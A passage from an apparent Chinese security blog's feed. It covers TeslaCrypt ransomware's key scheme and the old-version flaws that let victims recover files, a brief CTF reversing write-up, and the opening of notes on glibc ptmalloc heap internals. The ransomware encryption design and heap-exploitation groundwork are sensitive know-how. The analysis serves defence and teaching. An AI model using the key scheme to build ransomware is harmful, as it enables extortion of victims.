&lt;li&gt;用Private_Master和Public_MalMaster计算，得到用于对称加密的密钥Secret_Master；&lt;&#x2F;li&gt;
&lt;li&gt;以Secret_Master作为AES的密钥，用AES_CBC方法，加密比特币钱包的私钥Private_BtcKey，得到加密后的结果Encrypted_PRBK；&lt;&#x2F;li&gt;
&lt;li&gt;将Encrypted_PRBK和Public_Master发送给CC端；&lt;&#x2F;li&gt;
&lt;li&gt;攻击者由Public_Master和Private_MalMaster算得Secret_Master；&lt;&#x2F;li&gt;
&lt;li&gt;用Secret_Master将Encrypted_PRBK解密为Private_BtcKey，得到可以收款的BTC钱包地址；&lt;&#x2F;li&gt;
&lt;li&gt;计算Private_BtcKey的哈希值Private_HashedPRBK，作为收到付款之后返回客户的密钥；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;现在TC已经做好了加密准备。TC的加密是以一个session为一环的，每次重启、关闭计算机，都会终止当前的session，并启动一个新的session。每次session里的加密细节是：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;生成一个Private_SessionKey和一个SessionIV，作为本次session里对文件进行加密的密钥和CBC模式的初始化向量。&lt;&#x2F;li&gt;
&lt;li&gt;依据Private_SessionKey生成对应的密钥对Public_SessionKey，并保存；&lt;&#x2F;li&gt;
&lt;li&gt;用Private_SessionKey和Public_HashedPRBK生成一个用与对称加密的密钥Secret_Session；&lt;&#x2F;li&gt;
&lt;li&gt;用Private_SessionKey加密目标文件，得到Encrypted_FILE；&lt;&#x2F;li&gt;
&lt;li&gt;用Secret_Session加密Private_SessionKey得到Encrypted_PSSK；&lt;&#x2F;li&gt;
&lt;li&gt;立刻冲洗Secret_Session和Private_SessionKey的存储区域；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;按照攻击者的设定，用户在被攻击后，应该使用下面的流程来解密文件：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;向Public_BtcKey对应的钱包里付款；&lt;&#x2F;li&gt;
&lt;li&gt;确认Private_BtcKey里收到付款后，向客户返回Private_HashedPRBK；&lt;&#x2F;li&gt;
&lt;li&gt;对每个文件：
&lt;ul&gt;
&lt;li&gt;依据Private_HashedPRBK和Public_SessionKey，计算得出Secret_Session；&lt;&#x2F;li&gt;
&lt;li&gt;依据Secret_Session解密Encrypted_PSSK，即可得到Private_SessionKey；&lt;&#x2F;li&gt;
&lt;li&gt;依据Private_SessionKey解密Encrypted_FILE，即可得到源文件；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;在TC4.0中，作者在每个文件头里都保存了三个对解密必不可少的值：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;SessionIV&lt;&#x2F;li&gt;
&lt;li&gt;Public_SessionKey和Encrypted_PSSK&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;此外还保存了：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Public_Master（同时发送给CC）&lt;&#x2F;li&gt;
&lt;li&gt;Encrypted_PRBK（同时发送给CC）&lt;&#x2F;li&gt;
&lt;li&gt;Public_HashedPRBK&lt;&#x2F;li&gt;
&lt;li&gt;原始文件长度&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;而且，在密钥没有保存意义后，立刻用数据对相应的存储区域进行清洗，防止安全&#x2F;取证软件获取到解密密码。通过这里也可以看出，病毒作者通过分析一些专杀工具和解密工具，对自己的技术也进行了升级。密钥的分层机制也比较明确，在网络里传输的数据，如果没有Private_MalMaster，是无法解密BTC钱包地址的，而SessionKey的解密又依靠这个地址，从而保证除了攻击者没有第三方可以绕过逻辑解密文件。最后完成的3.x和4.x版本，基本可以作为密码学应用的示范程序。在作者公布密钥后，TD也嵌入了密钥，并实现了上述的解密过程。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;bu-fen-lou-dong-fen-xi&quot;&gt;部分漏洞分析&lt;&#x2F;h2&gt;
&lt;p&gt;TC的老版本则没有新版本这么“安全”了。对加密通道运用不当是比较常见的错误，在TC中也由发现。这是最早修复的漏洞，一个比较标志性的版本是v6，在v6之前，所有的文件都可以通过抓取感染后向CC通信的网络流量来解密，但v6版本开始，这一做法便不能使用了。一种合理的猜想是，在旧版本的软件中，可以直接解析出加密密钥。对TD的分析证实了这一点。下图是TD获取网络流量后，判定密钥与比特币地址是否相符的（以免解密错误）：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;tesla-crypt-key-framework&#x2F;.&#x2F;img1.png&quot; alt=&quot;Judge if bitcoin addr is correct&quot; title=&quot;Judge if your finger is too big to type&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;之后，TD便将密钥放入对应区域中，其他操作则与正常解密类似：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;tesla-crypt-key-framework&#x2F;.&#x2F;img2.png&quot; alt=&quot;Put the key back&quot; title=&quot;And serve for you&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;从V2版本到V5版本的TC，将传输的私钥以特定方式进行的加密，各版本的密钥也有所不同，但由于密钥是硬编码在程序里的，因此仍可以被TD直接提取出来，这就很尴尬了：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;tesla-crypt-key-framework&#x2F;.&#x2F;img3.png&quot; alt=&quot;Hard-coded key&quot; title=&quot;Oops, bad boy&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;从TD的验证逻辑推断，旧版本的TC应该是向CC服务器直接发回了BTC地址和Private_BtcKey（或简单加密后的Private_BtcKey）：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;tesla-crypt-key-framework&#x2F;.&#x2F;img4.png&quot; alt=&quot;Filter key out of network request&quot; title=&quot;Where is my Mag?&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;因此，在v5版本的某个变种中，TC作者移除了部分数据，使TC无法验证网络请求中的BTC地址和私钥是否相符，并在v6版本完全修改了向CC传输的数据，不再在通信中直接暴露加密密钥，彻底的封堵了这个逻辑漏洞。然而，利用这个漏洞，需要用户持续收集网络流量，这在很多环境下不容易实现，因此这种方法的利用难度比较高。&lt;&#x2F;p&gt;
&lt;p&gt;第二个漏洞存在于TC的前两个版本中。有一种比较简单的方法，利用的主要是在加密设计过程中的漏洞。由于对数据存储区域清洗不彻底，部分解密密钥可能残留在key.dat和注册表中。获取了部分密钥，可以极大的降低TD的解密难度，而且由于设计过程问题比较严重，这样获得的密钥不是SessionKey而是用户主密钥，这样就可以直接解密所有文件了：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;tesla-crypt-key-framework&#x2F;.&#x2F;img5.png&quot; alt=&quot;Get the key directly&quot; title=&quot;Sorry, Bob.&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这个漏洞比较容易利用，修补难度也不高，因此只存活了两个版本，就被勤劳的地下工作者修好了。&lt;&#x2F;p&gt;
&lt;p&gt;第三个漏洞就相对不太好利用。V7之前旧版本TC的弱点在于，在目标文件中保留了“RecoveryKey”或与之相似的参数。这个参数是由一个私钥和用于加密该私钥的乘积，其存在意义不明，位置和数量也随版本变化。比如在.xyz格式的文件中，0x108偏移处的130个字节，保存的是文件私钥Private_SessionKey与文件私钥加密密码Secret_Session的乘积。显然，这个积可以被分解为多个质数的乘积，而Private_SessionKey的值可以由这些质数中的一个或多个相乘而来。这样就产生了一个爆破思路：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;分解乘积为素数表M&lt;&#x2F;li&gt;
&lt;li&gt;循环取M中的素数，计算乘积m&lt;&#x2F;li&gt;
&lt;li&gt;计算m在secp256k1模式下对应的公钥值n&lt;&#x2F;li&gt;
&lt;li&gt;验证n与Public_SessionKey是否相符。如果相符，则可用&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这种方法能成功有两个主要因素。最重要的一个是由于乘积的存在，增加了信息量，也就弱化了保密特性。而另一个因素则是由于攻击者在这里采用了椭圆曲线算法。这种算法的保密关键点在于，解决ECDLP是困难的（在曲线Ep上给定一个点G，取任意一个整数k，那么可以证得点P=k*G容易在同一条曲线上找到。但是，如果选择适当的参数，那么在已知P、G的情况下，求出k的群操作太慢了，而把G和Ep规定好，令k为私钥，P为公钥，就是椭圆曲线加密的基本原理），而不再一味依靠密钥的位数。因此，在操作中，考虑到时间问题，一般把私钥设定在160~300位，即使与RSA1024相比，这个长度也短的多，因此更容易被从素数表中挖掘出来（这里的“更”是相对与RSA1024来说的，实际上也需要相当量的算力和运气）。解决这个漏洞比较简单，可以修改加密流程，也可以简单的删除这个乘积。因此，在V7以及之后的版本中，取消了这个乘积数据，这样对V7和V8版本的解密就只能依靠攻击者给出的密钥才能解密了。&lt;&#x2F;p&gt;
&lt;p&gt;以上是我根据旧版本Teslacrypt的解密代码，了解到的一些漏洞信息。自己的密码学比较菜，如有不妥，还希望各位给一点人生的经验。&lt;&#x2F;p&gt;
&lt;p&gt;附相关链接：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;英文Wiki有很多关于密码学的文章，此外关于ECC有一篇较为可靠的文章也可参考，来自&lt;a rel=&quot;external&quot; href=&quot;http:&#x2F;&#x2F;www.pediy.com&#x2F;kssd&#x2F;pediy06&#x2F;pediy6014.htm&quot;&gt;看雪论坛&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;消息源：&lt;a rel=&quot;external&quot; href=&quot;http:&#x2F;&#x2F;www.solidot.org&#x2F;story?sid=48297&quot;&gt;Solidot&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;BTC钱包生成：&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;en.bitcoin.it&#x2F;wiki&#x2F;Technical_background_of_version_1_Bitcoin_addresses&quot;&gt;Bitcoin.it&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;如果你主要关注样本行为：&lt;a rel=&quot;external&quot; href=&quot;http:&#x2F;&#x2F;drops.wooyun.org&#x2F;papers&#x2F;14671&quot;&gt;乌云&lt;&#x2F;a&gt;，&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.secureworks.com&#x2F;research&#x2F;teslacrypt-ransomware-threat-analysis&quot;&gt;SecureWorks&lt;&#x2F;a&gt;，以及&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;blogs.cisco.com&#x2F;security&#x2F;talos&#x2F;teslacrypt&quot;&gt;Cisco&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;http:&#x2F;&#x2F;www.venustech.com.cn&#x2F;UserFiles&#x2F;20160512_%E7%89%B9%E6%96%AF%E6%8B%89%E6%81%B6%E6%84%8F%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90%E6%96%B0%E8%A7%A3(1).pdf&quot;&gt;启明星辰&lt;&#x2F;a&gt;对该软件的分&lt;&#x2F;li&gt;
&lt;li&gt;利用第三个漏洞的代码：&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;Googulator&#x2F;TeslaCrack&quot;&gt;Github&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;对第三个漏洞的介绍：&lt;a rel=&quot;external&quot; href=&quot;http:&#x2F;&#x2F;www.bleepingcomputer.com&#x2F;news&#x2F;security&#x2F;teslacrypt-decrypted-flaw-in-teslacrypt-allows-victims-to-recover-their-files&#x2F;&quot;&gt;BleepingComputer.com&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="zh-Hans-cn">
        <title>2016年（第二届）陕西省网络空间安全技术大赛(NSSTC) Reverse 2 Mindmap </title>
        <published>2016-05-29T00:00:00+00:00</published>
        <updated>2016-05-29T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.iret.xyz/posts/nsstc-2016-reverse2-mindmap/"/>
        <id>https://blog.iret.xyz/posts/nsstc-2016-reverse2-mindmap/</id>
        
        <content type="html" xml:base="https://blog.iret.xyz/posts/nsstc-2016-reverse2-mindmap/">&lt;p&gt;很可惜，差一点就做出来了。这个题是用Golang编写的一个程序，之前似乎在某个CTF里也出过类似的题，有机会再做详细讲解。晚上睡不着觉，就简单写了几页，主要是讲了讲我是怎么在没有flirt签名的情况下找到切入点的。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;404.jpg&quot; alt=&quot;Page 1&quot; title=&quot;Overview&quot; &#x2F;&gt;&lt;sup class=&quot;footnote-reference&quot;&gt;&lt;a href=&quot;#1&quot;&gt;1&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;404.jpg&quot; alt=&quot;Page 2&quot; title=&quot;Some strange points&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;404.jpg&quot; alt=&quot;Page 3&quot; title=&quot;Some other functions and how to solve&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;限于时间（写了一会就困了，所以稍有仓促），有几个问题没有详细展开。一个比较重要的方面是关于Golang是如何设计routine的，比赛的时候我也是现学的&lt;sup class=&quot;footnote-reference&quot;&gt;&lt;a href=&quot;#2&quot;&gt;2&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt;。如果对golang没有接触过的话，Wikipedia是很好的工具，&lt;a rel=&quot;external&quot; href=&quot;http:&#x2F;&#x2F;golanghome.com&#x2F;post&#x2F;254&quot;&gt;这篇文章&lt;&#x2F;a&gt;写的也很好。如果对golang是如何编译成这样的exe比较感兴趣的话，可以阅读云风大神的&lt;a rel=&quot;external&quot; href=&quot;http:&#x2F;&#x2F;blog.codingnow.com&#x2F;2013&#x2F;08&#x2F;reading_golang_source.html&quot;&gt;这篇博客&lt;&#x2F;a&gt;。另外一个容易让人困惑的点就是，在这个程序里有很多很多的检查、跳转到die。实际这是因为golang在设计之初希望提升安全性，因此加入了各种各样的检查，缓冲区长度、执行流防护等等……既然不是pwn，就可以掠过不计啦。程序里的加密&#x2F;解密过程则比较简单，只是循环右移三位，不多介绍了。&lt;&#x2F;p&gt;
&lt;p&gt;此外觉得比较重要的是，逆向分析过程中对信息的快速筛选还是很重要的，否则像这样的题目，背景信息比较大，稍有不慎就会掉进细节的漩涡（像我一样）。&lt;&#x2F;p&gt;
&lt;p&gt;题目稍后放到网盘上。有什么意见&#x2F;疑问请在下面的评论里说明，我会一并在文中或评论里回复。&lt;&#x2F;p&gt;
&lt;div class=&quot;footnote-definition&quot; id=&quot;1&quot;&gt;&lt;sup class=&quot;footnote-definition-label&quot;&gt;1&lt;&#x2F;sup&gt;
&lt;p&gt;PEDIY：&lt;a rel=&quot;external&quot; href=&quot;http:&#x2F;&#x2F;bbs.pediy.com&#x2F;showthread.php?t=198306&quot;&gt;求助 golang程序在编译时去掉了符号信息，怎么逆向？&quot;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;div class=&quot;footnote-definition&quot; id=&quot;2&quot;&gt;&lt;sup class=&quot;footnote-definition-label&quot;&gt;2&lt;&#x2F;sup&gt;
&lt;p&gt;关于调度器是什么：&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;ga0.github.io&#x2F;golang&#x2F;2015&#x2F;09&#x2F;20&#x2F;golang-runtime-scheduler.html&quot;&gt;Golang调度器源码分析&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
</content>
        
    </entry>
    <entry xml:lang="zh-Hans-cn">
        <title>Notes About Heap Overflow Under Linux</title>
        <published>2016-05-24T00:00:00+00:00</published>
        <updated>2016-05-24T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.iret.xyz/posts/linux-heapoverflow-enterance/"/>
        <id>https://blog.iret.xyz/posts/linux-heapoverflow-enterance/</id>
        
        <content type="html" xml:base="https://blog.iret.xyz/posts/linux-heapoverflow-enterance/">&lt;p&gt;假期搞了次堆溢出，但是做的不是很多。再搞一次，强化下印象，顺便理解理解细节。没啥说明的话，都是在x64下做的。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;enterance&quot;&gt;Enterance&lt;&#x2F;h2&gt;
&lt;p&gt;malloc是ptmalloc2内存分配器里的一个功能。而真正负责从虚拟地址里划分空间的，则是mmap以及brk等系统调用。malloc和free等，只是在mmap拿到的内存空间里进行二次分配的。这样涉及的原因是，由于mmap需要考虑到对齐等问题，不加管理的话可能造成资源和时间上的浪费。ptmalloc2为每个线程分别维护一套表，用来管理内存，可以减少不同线程之间的冲突。以下讨论的例子中，我们假设只要一个线程。&lt;&#x2F;p&gt;
&lt;p&gt;在程序启动时是不会创建堆的，如图：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;linux-heapoverflow-enterance&#x2F;.&#x2F;1.png&quot; alt=&quot;VMMap before first malloc&quot; title=&quot;VMMap before first malloc&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;第一次调用malloc后，会创建一个堆：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;linux-heapoverflow-enterance&#x2F;.&#x2F;2.png&quot; alt=&quot;VMMap after a malloc&quot; title=&quot;VMMap after the first malloc&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;我们分配了一块4k的内存，但这个堆的大小是136KiB。预先分配空间，一定程度上可以降低分配时间。&lt;&#x2F;p&gt;
&lt;p&gt;接下来，我们分派了16个4kb的内存。使用gdb观察一下内存块的结构：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;linux-heapoverflow-enterance&#x2F;.&#x2F;3.png&quot; alt=&quot;4k Chunk structure&quot; title=&quot;4k chunk structure&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;可以看到，分配的结构是这样的：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;linux-heapoverflow-enterance&#x2F;.&#x2F;4.png&quot; alt=&quot;Chunk format&quot; title=&quot;Chunk format&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;现在释放一个块看看：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;linux-heapoverflow-enterance&#x2F;.&#x2F;5.png&quot; alt=&quot;Chunk structure after free&quot; title=&quot;About memblks[2] after free&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;可以看到，被释放的内存块结构变成了：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;linux-heapoverflow-enterance&#x2F;.&#x2F;6.png&quot; alt=&quot;Free chunk format&quot; title=&quot;Free chunk format&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这里，我们将这两个指针称为&lt;code&gt;fd&lt;&#x2F;code&gt;和&lt;code&gt;bk&lt;&#x2F;code&gt;。注意到fd和bk指到了一个位于&lt;strong&gt;栈&lt;&#x2F;strong&gt;上的空间。&lt;code&gt;gef&lt;&#x2F;code&gt;的&lt;code&gt;heap chunk&lt;&#x2F;code&gt;指令，可以帮助我们查看关于这个内存块的信息：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;linux-heapoverflow-enterance&#x2F;.&#x2F;7.png&quot; alt=&quot;What happened after the big bang?&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;为了搞明白这些信息，我们需要关注一下ptmalloc的工作细节。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;faster-faster&quot;&gt;Faster! Faster!&lt;sup class=&quot;footnote-reference&quot;&gt;&lt;a href=&quot;#1&quot;&gt;1&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;libc是一个历史气息浓重的库（充满了历史包袱，对），所以先来回顾一下其历史，有助于了解malloc及其工作机制。当然，希望你在阅读本段之前，已经了解了操作系统对内存的管理机制，也就是&lt;a rel=&quot;external&quot; href=&quot;http:&#x2F;&#x2F;man7.org&#x2F;linux&#x2F;man-pages&#x2F;man2&#x2F;sbrk.2.html&quot;&gt;brk&lt;&#x2F;a&gt;和&lt;a rel=&quot;external&quot; href=&quot;http:&#x2F;&#x2F;man7.org&#x2F;linux&#x2F;man-pages&#x2F;man2&#x2F;mmap.2.html&quot;&gt;mmap&lt;&#x2F;a&gt;等系统调用。如果你还不太了解，推荐你读下&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;sploitfun.wordpress.com&#x2F;2015&#x2F;02&#x2F;11&#x2F;syscalls-used-by-malloc&#x2F;&quot;&gt;这篇文章&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;作者写作本文时，以glibc-2.9为基准。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;li-shi-bao-fu&quot;&gt;历史包袱&lt;&#x2F;h3&gt;
&lt;p&gt;目前一些比较常用的内存分配器有：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;dlmalloc&lt;&#x2F;strong&gt; - 通用内存分配器&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;ptmalloc&lt;&#x2F;strong&gt; - 基本也就是glibc&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;jemalloc&lt;&#x2F;strong&gt; - 在Firefox和FreeBSD中使用的分配器&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;tcmalloc&lt;&#x2F;strong&gt; - Google使用的分配器&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;libumem&lt;&#x2F;strong&gt;  - Solaris使用的分配器&lt;&#x2F;li&gt;
&lt;li&gt;...&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;glibc起初采用&lt;a rel=&quot;external&quot; href=&quot;http:&#x2F;&#x2F;g.oswego.edu&#x2F;dl&#x2F;html&#x2F;malloc.html&quot;&gt;dlmalloc&lt;&#x2F;a&gt;作为其默认分配器。随着时间的推移，dlmalloc的问题也逐渐凸显出来。其中一个问题就是，由于没有考虑到多线程下的性能问题，dlmalloc存在锁冲突。在dlmalloc中，当两个线程同时调用malloc的时候，只有一个线程可以进入临界区&lt;sup class=&quot;footnote-reference&quot;&gt;&lt;a href=&quot;#2&quot;&gt;2&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt;，这是因为所有活动的线程共用了同一个结构实例来管理内存。因此，在多线程程序中，dlmalloc造成了一定的性能损耗。&lt;&#x2F;p&gt;
&lt;p&gt;之后，glibc采用了&lt;a rel=&quot;external&quot; href=&quot;http:&#x2F;&#x2F;www.malloc.de&#x2F;en&#x2F;&quot;&gt;ptmalloc&lt;&#x2F;a&gt;作为自己的内存分配器。在ptmalloc2中，每个线程拥有自己“独立”的堆结构&lt;sup class=&quot;footnote-reference&quot;&gt;&lt;a href=&quot;#3&quot;&gt;3&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt;，那么两个线程同时请求分配内存时，就可以无需阻塞，直接分得内存&lt;sup class=&quot;footnote-reference&quot;&gt;&lt;a href=&quot;#4&quot;&gt;4&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt;。接下来，我们以&lt;span lang=&quot;en&quot;&gt;&lt;em&gt;Understanding glibc malloc&lt;&#x2F;em&gt;&lt;&#x2F;span&gt;一文中的&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;paste.ubuntu.com&#x2F;16393543&#x2F;&quot;&gt;示例代码&lt;&#x2F;a&gt;为例，介绍一下ptmalloc是如何处理程序对内存的请求的。&lt;&#x2F;p&gt;
&lt;p&gt;注意：&lt;strong&gt;示例代码为32位&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;dlmalloczhong-dui-xian-cheng-nei-cun-de-guan-li&quot;&gt;dlmalloc中对线程内存的管理&lt;&#x2F;h3&gt;
&lt;p&gt;程序从操作系统获得内存之后，内存分配器会负责将其分配给各个线程，各线程请求内存时，分配器会检查可用的内存，并作出回应。这里先来说一说各个线程是如何获得内存的。&lt;&#x2F;p&gt;
&lt;p&gt;在示例代码的入口点停住，可以看到在malloc之前：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    sploitfun@sploitfun-VirtualBox:~&#x2F;ptmalloc.ppt&#x2F;mthread$ .&#x2F;mthread &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    Welcome to per thread arena example::6501&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    Before malloc in main thread&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    ...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    sploitfun@sploitfun-VirtualBox:~&#x2F;ptmalloc.ppt&#x2F;mthread$ cat &#x2F;proc&#x2F;6501&#x2F;maps&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    08048000-08049000 r-xp 00000000 08:01 539625     &#x2F;home&#x2F;sploitfun&#x2F;ptmalloc.ppt&#x2F;mthread&#x2F;mthread&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    08049000-0804a000 r--p 00000000 08:01 539625     &#x2F;home&#x2F;sploitfun&#x2F;ptmalloc.ppt&#x2F;mthread&#x2F;mthread&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    0804a000-0804b000 rw-p 00001000 08:01 539625     &#x2F;home&#x2F;sploitfun&#x2F;ptmalloc.ppt&#x2F;mthread&#x2F;mthread&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    b7e05000-b7e07000 rw-p 00000000 00:00 0 &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    ...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    sploitfun@sploitfun-VirtualBox:~&#x2F;ptmalloc.ppt&#x2F;mthread$&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到，Loader已经把ELF映像中的三个segment映射到了内存里。由于我们还没有调用malloc，那么也就没有给我们分配一块堆。&lt;&#x2F;p&gt;
&lt;p&gt;调用了一次malloc之后，可以看到：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    0804a000-0804b000 rw-p 00001000 08:01 539625     &#x2F;home&#x2F;sploitfun&#x2F;ptmalloc.ppt&#x2F;mthread&#x2F;mthread&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    &amp;gt;&amp;gt;&amp;gt;&amp;gt;0804b000-0806c000 rw-p 00000000 00:00 0          [heap]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    b7e05000-b7e07000 rw-p 00000000 00:00 0 &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里可以看到，调用malloc之后，在0x804b000处分配了一个大小为0x21000的堆块。查看源代码可知，这时候的调用流程为：&lt;&#x2F;p&gt;
